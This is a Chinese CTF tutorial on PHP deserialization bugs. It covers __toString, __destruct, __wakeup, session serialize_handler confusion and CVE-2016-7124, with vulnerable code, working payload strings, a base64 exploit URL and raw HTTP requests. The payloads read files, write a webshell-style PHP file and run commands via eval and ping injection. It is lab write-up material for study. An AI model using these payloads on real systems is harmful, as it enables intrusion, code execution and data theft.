php反序列化1_常见php序列化的CTF考题

news2024/11/27 19:14:28

v2-0w.jpg

声明:

以下多内容来自暗月师傅我是通过他的教程来学习记录的,如有侵权联系删除。

一道反序列化的CTF题分享_ctf反序列化题目_Mr.95的博客-CSDN博客

一些其他大佬的wp参考:php_反序列化_1 | dayu’s blog (killdayu.com)

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

序列化_toString

1. 序列化简介

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

1. __toString介绍

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法以下说明摘自PHP官方手册

public string __toString ( void )

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

Warning

不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

2 简单示例
<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo) 
    {
        $this->foo = \$foo;
    }
    public function __toString() {
        return $this->foo;
    }
}
$class = new TestClass('Hello');
echo $class;
?>

上面我们通过调试就能发现,当echo输出的时候,,会自动调用__toString

3.CTF实例
<?php 
Class readme{ 
    public function __toString() 
    { 
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);//高亮显示 
    } 
} 
if(isset($_GET['source'])){ 
    $s = new readme(); //实例化一个对象
    $s->source = __FILE__; //传入当前文件名,根据Readme.txt输出的提示/flag可知这题要做那么传入的文件名应该是'flag'
    echo $s; //输出当前文件内容
    exit; 
} 
//$todos = []; 
if(isset($_COOKIE['todos'])){ 
    $c = $_COOKIE['todos']; 
    $h = substr($c, 0, 32); //截取0-32位字符
    $m = substr($c, 32); //截取32位以后的字符
    if(md5($m) === $h){ //全等于才会反序列化
        $todos = unserialize($m); 
    } 
} 
if(isset($_POST['text'])){ //不过这里我们好像用不到post
    $todo = $_POST['text']; 
    $todos[] = $todo; //将post获取到的参数赋值给数组,注意如果上面的反序列化通过了这个数组就原本不是空的
    $m = serialize($todos); //序列化
    $h = md5($m); 
    setcookie('todos', $h.$m); 
    header('Location: '.$_SERVER['REQUEST_URI']); 
    exit; 
} 
?> 
<html> 
<head> 
</head> 

<h1>Readme</h1> 
<a href="?source"><h2>Check Code</h2></a> 
<ul> 
<?php foreach($todos as $todo):?> //遍历取todos赋值给todo
    <li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?> 
</ul> 

<form method="post" href="."> 
    <textarea name="text"></textarea> 
    <input type="submit" value="store"> 
</form>

highlight_file() 函数对文件进行语法高亮显示。

PHP 支持一个错误控制运算符:@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。

strpos() 函数查找字符串在另一字符串中第一次出现的位置

php中ereg()函数和eregi()函数-字符串对比解析函数

·松散比较:使用两个等号 == 比较,只比较值,不比较类型。

·严格比较:用三个等号 === 比较,除了比较值,也比较类型

setcookie() 函数向客户端发送一个 HTTP cookie

header() 函数向客户端发送原始的 HTTP 报头。

$_SERVER[“REQUEST_URI”]函数:

预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径

$_SERVER[“REQUEST_URI”]函数-CSDN博客

通过上面的注释和分析我们可以知道,post好像用不到了,我们需要构造一段序列化的cookie信息payload,传入让他执行反序列化。

可以发现当执行到这一段的时候会触发_toString方法,而todo的参数已经是被我们改成了反序列化后的参数。

<?php foreach($todos as $todo):?> //遍历取todos赋值给todo
    <li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?>

构造payload的时候通过调试发现必须放到数组里序列化才会成功赋值

下面构造payload:

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = 'flag.php';
    $s=[$s];
    echo serialize($s)."<br/>";
    echo md5(serialize($s))."<br/>";
    echo $s;
    exit;
}

运算结果:

a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
e2d4f7dcc43ee1db7f69e76303d0105c
Array

构造的请求数据包,cookie信息记得一定要对特殊字符url编码一次,才能够读取:

GET /php/demo/toString.php HTTP/1.1

Host: 192.168.18.238

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://192.168.18.238/php/demo/toString.php?source

Connection: close

Cookie: todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a{i%3a0%3bO%3a6%3a"readme"%3a1%3a{s%3a6%3a"source"%3bs%3a8%3a"flag.php"%3b}}

Upgrade-Insecure-Requests: 1

最后获得flag

image.png

反序列化_写shell

例题如下:

<?php
error_reporting(0);//屏蔽错误
if(empty($_GET['code'])) die(show_source(__FILE__));//如果code未被设置就输出当前文件的内容
class example
{
    var $var='123';

    function __destruct(){	当一个对象销毁时被调用
        $fb = fopen('./php.php','w');
        fwrite($fb, $this->var);
        fclose($fb);
    }
}

$class = $_GET['code'];
$class_unser = unserialize($class);
unset($class_unser);
?>

payload如下:

<?php

class example
{
    var $var='<?php phpinfo();?>';//可以把这里替换成一句话木马

    function __destruct(){
        $fb = fopen('./php.php','w');
        fwrite($fb, $this->var);
        fclose($fb);
    }
}


$class = new example();
//$class->var = '<?php phpinfo();?>';
echo serialize($class);
?>

注意一个坑点,就是序列化后的php代码字符串并不会直接显示出来,要右键查看页面源码才是完整的字符串。

O:7:"example":1:{s:3:"var";s:18:"<?php phpinfo();?>";}

此时在我们的网站目录下就会写入一个叫php.php的文件。

image.png

php反序列化与session

1.session的三种格式

php_serialize(php=>5.5.4)经过serialize()函数序列化数组
php键名+竖线+经过seralize()序列处理的值
php_binary键名的长度对应ASCII字符+键名+serialize()序列化的值

测试代码:

<?php
ini_set('session.serialize_handler','php');
//ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['elven'] = $_GET['elven'];
?>

可以看到如下图,不同的格式有着不同的session格式

php

image.png

php_serialize格式a:1:{s:5:"elven";s:3:"123";}

php_binary格式image.png

例题如下index.php,还有一个文件上传页面upload.html:

<?php
ini_set('session.serialize_handler', 'php');//根据上面我们可以了解到这是设置session的格式局部
session_start();//读取服务器上的session文件,如果格式符合会反序列化,否则会清空
class CTF
{
    public $mdzz;
    function __construct()//当一个对象创建时被调用
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()//当一个对象销毁时被调用
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new CTF();
}
else
{
    highlight_string(file_get_contents('index.php'));
}

?>


<html>
<head>
    <title>upload</title>
</head>
<body>
<form action="http://192.168.18.240/php/demo/demo3/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>

</html>

条件左边的是局部变量,[以下配置右边的是全局变量可以在配置文件php.ini中设置]

l session.serialize_handler php 局部变量 php_serialize 全局变量

l session.upload_progress.cleanup 默认开启 现关闭

l session.upload_progress.enabled 默认开启

image.png

php bug

https://bugs.php.net/bug.php?id=71101

session.upload_progress.enabled On

session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session

原理测试:

在eval执行print_r(scandir(dirname(__FILE__)));这条命令的时候会以数组的形式输出遍历到的当前路径的文件名。

如果都是在本地服务器上的时候,可以构建如下payload;

<?php

session_start();
class CTF
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$m = new CTF();
echo serialize($m);
$_SESSION['payload'] = serialize($m);
?>

如下足以见得,会产生一个session文件,内容格式是php的:

image.png

如果此时访问,index.php是会被清空session的,因为我们生成的session数据是默认走的全局变量的设置的php_serialize,但是代码里设置的局部变量类型是php。

所以巧妙的解决办法是在上图画红线处添加一个 | 符号,就会被是被成php类型的session。前面的变成键名,后面是序列化的值。

改过后访问index.php就会发现,成功被反序列化执行了。

image.png

但是,实际情况不会是这样,以上只是测试原理,做题者和服务器环境肯定是分开的。此时就可利用文件上传时候变量名PHP_SESSION_UPLOAD_PROGRESS的特性,也是php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session的骚操作呀!

此时再访问文件上传页面然后,随便上传一个文件,抓包改文件名filename改成上面的|和序列化的值,注意引号的前面要加上转义字符\

就像这样|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

image.png

可以清楚的看到,在服务器里的这个PHPSESSID的session文件里面,被写入了东西,就是我们|之前的当成了键名,之后当成了值。并在返回信息中成功执行。

但是上面的payload只是遍历文件名。要想输出文件内容,得用这个file_get_contenets读取路径

|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/software/phpstudy_pro/WWW/php/demo/demo3/flag.php\"));\";

image.png

以上就是全部内容。

反序列化__wakeup

__wakeup(),执行unserialize()时,先会调用这个函数。

例题如下:index.php 读取目录flag.php,结合了命令执行和字符串绕过和base64编码知识。

<?php
class home{

    private $method;//私有的变量
    private $args;
    function __construct($method, $args) {//实例化就被调用,传入参数
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);//调用指定函数,传入的参数必须是数组
        }
    }

    function ping($host){//执行ping命令,里面有可控的参数
        system("ping -c 2 $host");
    }
    function waf($str){//过滤空格
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){//反序列化的时候被调用
        foreach($this->args as $k => $v) {
           $this->args[$k] = $this->waf(trim(addslashes($v)));//过滤空白符,并转义指定的特殊字符
 
        }
    }
}
$a=@$_GET['a'];
if(empty($a)) die(show_source(__FILE__));
@unserialize(base64_decode($a));//@可以防止输出错误,base64解码了

解题思路

首先构造序列化参数的时候可以控制,让其添加管道命令执行别的命令。比如在windows中就可使用type加文件路径显示文件内容,但是unserialize 反序列化的时候会优先调用__wakeup() 进行空格过滤 $this->waf 调用waf函数把空格过滤是空。这里有一个骚操作就是用制表符Tab键代替空格。但是直接输入可能不行,可以在记事本输入然后复制一下,保证它真的是制表符ASSCII中的\t才不会被过滤。

构造payload:

<?php
class home{

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(addslashes($v)));

        }
    }
}

$c1 =new home('ping',array('127.0.0.1|type	D:\software\phpstudy_pro\WWW\php\demo\demo4\flag.php'));
echo base64_encode(serialize($c1));

http://php/demo/demo4/index.php?a=Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czo2NzoiMTI3LjAuMC4xfHR5cGUJRDpcc29mdHdhcmVccGhwc3R1ZHlfcHJvXFdXV1xwaHBcZGVtb1xkZW1vNFxmbGFnLnBocCI7fX0=

image.png

就可以成功读取路径下的flag.php了。其实还有一种方法可以做,利用使用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过_wakeup,这也是我们下面要讲的CVE-2016-7124。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

反序列化_CVE-2016-7124

PHP 5.6.25之前版本和7.0.10之前版本的7.x中的xt/standard/va unserializer.c错误地处理了某些无效对象,这使得远程攻击者能够通过精心编制的序列化数据导致(1) 析构函数调用或(2)magic方法调用,造成拒绝服务或可能具有未指明的其他影响。

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124

序列化格式

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

示例代码:

<?php

class home{
    public $F1;
    private $F2;
    protected $F3;

    public function __construct($F1,$F2,$F3)
    {
        $this->F1=$F1;
        $this->F2=$F2;
        $this->F3=$F3;

    }

}

$c=new home('1','2','3');
$b=serialize($c);
echo $b;

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

结果:

O:4:“home”:3:{s:2:“F1”;s:1:“1”;s:8:"%00home%00F2";s:1:“2”;s:5:"%00*%00F3";s:1:“3”;}

题目:
<?php
error_reporting(0);//规定报告哪个错误。该函数设置当前脚本的错误报告级别。
class sercet{
    private $file='index.php';//私有变量

    public function __construct($file){//对象创建时被调用
        echo "_construct<br>";
        $this->file=$file;
    }

    function __destruct(){//销毁时被调用高亮输出文件内容
        echo " __destruct<br>";
        //  echo show_source($this->file,true);
        echo @highlight_file($this->file, true);
    }


    function __wakeup(){//反序列化的时候会触发,就会重新初始化变量赋值为,index.php这样永远读取的都是index.php
        echo "__wakeup<br>";
        $this->file='index.php';
    }
}
if(empty($_GET['val'])) die(show_source(__FILE__));
unserialize($_GET['val']);

解题思路:
只需要构造个序列化对象实例,通过GET传参,但是反序列化触发__wakeup,所以我们要利用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过__wakeup。

构造payload

<?php
error_reporting(0);
class sercet{
    private $file='index.php';

    public function __construct($file){
        echo "_construct<br>";
        $this->file=$file;
    }

    function __destruct(){
        echo " __destruct<br>";
        //  echo show_source($this->file,true);
        echo @highlight_file($this->file, true);
    }


    function __wakeup(){
        echo "__wakeup<br>";
        $this->file='index.php';
    }
}

$c = new  sercet('flag.php');
echo serialize($c);

O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}

修改为:(注意搭建环境时候的版本。切换一下)

O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}

对象属性个数被我们改成了2,而且由于是私有变量序列化输出的%00没有显示出来的时候(查看源码应该能看到),还需要我们输入%00添加上去。

image.png

完美!

网鼎杯2020 CTF WEB反序列化解题

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public $op=2;//由于也2=="2"为真所以应该设置2来绕过==="2"
    public $filename='D:\software\phpstudy_pro\WWW\php\demo\demo6\flag.php';
    //$filename="php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/www.test1.com/ctf/demo4/flag.php"
    //直接写文件名实际会读不出来,只有上面这两种方式好像能读出来。
    public $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();//如果是"1"那就执行wite函数
        } else if($this->op == "2") {
            $res = $this->read();//如果是"2"那就执行read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {//判断参数是否有值传入
            if(strlen((string)$this->content) > 100) {//设置的参数content不能超过100个字符
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//把一个字符串写入文件中
            if($res) $this->output("Successful!");//写入成功输出指定字符串
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {

        if($this->op === "2")
            $this->op = "1";//如果是字符串"2",又会给复制成字符串"1"
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//由于%00并不在其中,所以序列化后的字符串不能包含%00,也就是说要把上面的改成弱类型public
            return false;
    return true;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2248592.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RustDesk 搭建

RustDesk 服务端下载&#xff1a;https://github.com/rustdesk/rustdesk-server/releases RustDesk 客户端下载&#xff1a;https://github.com/rustdesk/rustdesk/releases RustDesk 官方部署教程&#xff1a;https://rustdesk.com/docs/zh-cn/ 1&#xff1a;RustDesk 概览# 1…

Qt读写Usb设备的数据

Qt读写Usb设备的数据 问题:要读取usb设备进行通讯&#xff0c;qt好像没有对应的库支持。解决&#xff1a;libusbwindow下载 :Linux下载: QtUsb 开源的第三方库库里面的函数说明&#xff1a;window版本&#xff1a;Linux中也提供的直接下载测试代码&#xff1a;库下载&#xff1…

模板初阶,STL简介(C++)

1.模板 1.1泛型编程 在之前的文章中讲过C支持函数重载&#xff0c;比如实现一个交换函数&#xff0c;可以是不同的数据类型&#xff0c;但是这样&#xff0c;需要增加大量函数&#xff0c;且可维护度比较低。 如&#xff1a; void Swap(int& left, int& right) {int …

Cannot find a valid baseurl for repo: centos-sclo-rh/x86_64

yum install 报错: Cannot find a valid baseurl for repo: centos-sclo-rh/x86_64 CentOS7的SCL源在2024年6月30日停止维护了。 当scl源里面默认使用了centos官方的地址&#xff0c;无法连接&#xff0c;需要替换为阿里云。 cd /etc/yum.repos.d/ 找到 CentOS-SCLo-scl.repo 和…

蓝桥杯不知道叫什么题目

小蓝有一个整数&#xff0c;初始值为1&#xff0c;他可以花费一些代价对这个整数进行变换。 小蓝可以花贵1的代价将教数增加1。 小蓝可以花费3的代价将整数增加一个值,这个值是整数的数位中最大的那个(1到9) .小蓝可以花费10的代价将整数变为原来的2倍, 例如&#xff0c;如果整…

2024年11月HarmonyOS应用开发者高级认证全新题库

注意事项&#xff1a;切记在考试之外的设备上打开题库进行搜索&#xff0c;防止切屏三次考试自动结束&#xff0c;题目是乱序&#xff0c;每次考试&#xff0c;选项的顺序都不同&#xff0c;作者已于2024年11月22日又更新了一波题库&#xff0c;题库正确率99%&#xff01; 新版…

技术文档的高质量翻译对俄罗斯汽车推广的影响

进入新市场需要的不仅仅是一个伟大的产品&#xff1b;它要求深入了解当地消费者的期望、法规和文化差异。对于希望在俄罗斯取得成功的国际汽车制造商来说&#xff0c;技术文件的质量是一个关键因素。手册、规范和服务指南在产品和用户之间形成了直接的桥梁&#xff0c;影响着客…

【组件】前端ElementUi 下拉Tree树形组件 带模糊搜索自动展开高亮功能 树结构 封装为组件使用

【组件】前端ElementUi 下拉Tree树形组件 带模糊搜索自动展开高亮功能 树结构 【组件】前端ElementUi 下拉Tree树形组件 带模糊 https://live.csdn.net/v/436057 单独使用 <template><div><el-popoverstyle"overflow-y: auto; "placement"bottom…

论文阅读:Dual-disentangled Deep Multiple Clustering

目录 摘要 引言 模型 实验 数据集 实验结果 结论 摘要 多重聚类近年来引起了广泛关注&#xff0c;因为它能够从不同的角度揭示数据的多种潜在结构。大多数多重聚类方法通常先通过控制特征之间的差异性来提取特征表示&#xff0c;然后使用传统的聚类方法&#xff08;如 …

SQL 复杂查询

目录 复杂查询 一、目的和要求 二、实验内容 &#xff08;1&#xff09;查询出所有水果产品的类别及详情。 查询出编号为“00000001”的消费者用户的姓名及其所下订单。&#xff08;分别采用子查询和连接方式实现&#xff09; 查询出每个订单的消费者姓名及联系方式。 在…

thread_id_key != 0x7777(`fibers` 包与 Node.js 16 及以上版本存在兼容性问题)

文章目录 fibers4.0.3 与 node-v16.13.2-win-x64 的兼容性1. Node.js 版本兼容性2. 特定包版本 (fibers4.0.3)3. 解决方案和替代方案 结论解决方案 运行yarn serve 启动项目&#xff0c;就会弹出上述错误。 fibers4.0.3 与 node-v16.13.2-win-x64 的兼容性 要判断 fibers4.0.3…

数据结构 (6)栈的应用举例

1. 递归调用 递归函数在执行时&#xff0c;会将每一层的函数调用信息&#xff08;包括局部变量、参数和返回地址&#xff09;存储在栈中。当递归函数返回时&#xff0c;这些信息会从栈中弹出&#xff0c;以便恢复之前的执行状态。栈的后进先出&#xff08;LIFO&#xff09;特性…

网络安全在数字时代保护库存数据中的作用

如今&#xff0c;通过软件管理库存已成为一种标准做法。企业使用数字工具来跟踪库存水平、管理供应链和规划财务。 然而&#xff0c;技术的便利性也带来了网络威胁的风险。黑客将库存数据视为有价值的目标。保护这些数据不仅重要&#xff0c;而且必不可少。 了解网络安全及其…

php常用伪协议整理

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文整理php常见的伪协议 php伪协议介绍 直观点&#xff0c;就是php可以识别的协议。 类似于我们访问网站的http协议&#xff0c;我们用浏览器访问我们自己本地文件的file协议等。 php可以识别这些协议&#xf…

【软件入门】Git快速入门

Git快速入门 文章目录 Git快速入门0.前言1.安装和配置2.新建版本库2.1.本地创建2.2.云端下载 3.版本管理3.1.添加和提交文件3.2.回退版本3.2.1.soft模式3.2.2.mixed模式3.2.3.hard模式3.2.4.使用场景 3.3.查看版本差异3.4.忽略文件 4.云端配置4.1.Github4.1.1.SSH配置4.1.2.关联…

【SpringBoot】28 API接口防刷(Redis + 拦截器)

Gitee仓库 https://gitee.com/Lin_DH/system 介绍 常用的 API 安全措施包括&#xff1a;防火墙、验证码、鉴权、IP限制、数据加密、限流、监控、网关等&#xff0c;以确保接口的安全性。 常见措施 1&#xff09;防火墙 防火墙是网络安全中最基本的安全设备之一&#xff0c…

零基础学安全--shell脚本学习(1)脚本创建执行及变量使用

目录 学习连接 什么是shell shell的分类 查看当前系统支持shell 学习前提 开始学习 第一种执行脚本方法 ​编辑 第二种执行脚本方法 第三种执行脚本方法 变量声明和定义 ​编辑 查看变量 删除变量 学习连接 声明&#xff01; 学习视频来自B站up主 **泷羽sec** 有兴趣…

基于FPGA的FM调制(载波频率、频偏、峰值、DAC输出)-带仿真文件-上板验证正确

基于FPGA的FM调制-带仿真文件-上板验证正确 前言一、FM调制储备知识载波频率频偏峰值个人理解 二、代码分析1.模块分析2.波形分析 总结 前言 FM、AM等调制是学习FPGA信号处理一个比较好的小项目&#xff0c;通过学习FM调制过程熟悉信号处理的一个简单流程&#xff0c;进而熟悉…

“AI玩手机”原理揭秘:大模型驱动的移动端GUI智能体

作者&#xff5c;郭源 前言 在后LLM时代&#xff0c;随着大语言模型和多模态大模型技术的日益成熟&#xff0c;AI技术的实际应用及其社会价值愈发受到重视。AI智能体&#xff08;AI Agent&#xff09;技术通过集成行为规划、记忆存储、工具调用等机制&#xff0c;为大模型装上…

路由策略与路由控制实验

AR1、AR2、AR3在互联接口、Loopback0接口上激活OSPF。AR3、AR4属于IS-IS Area 49.0001&#xff0c;这两者都是Level-1路由器&#xff0c;AR3、AR4的系统ID采用0000.0000.000x格式&#xff0c;其中x为设备编号 AR1上存在三个业务网段A、B、C&#xff08;分别用Loopback1、2、3接…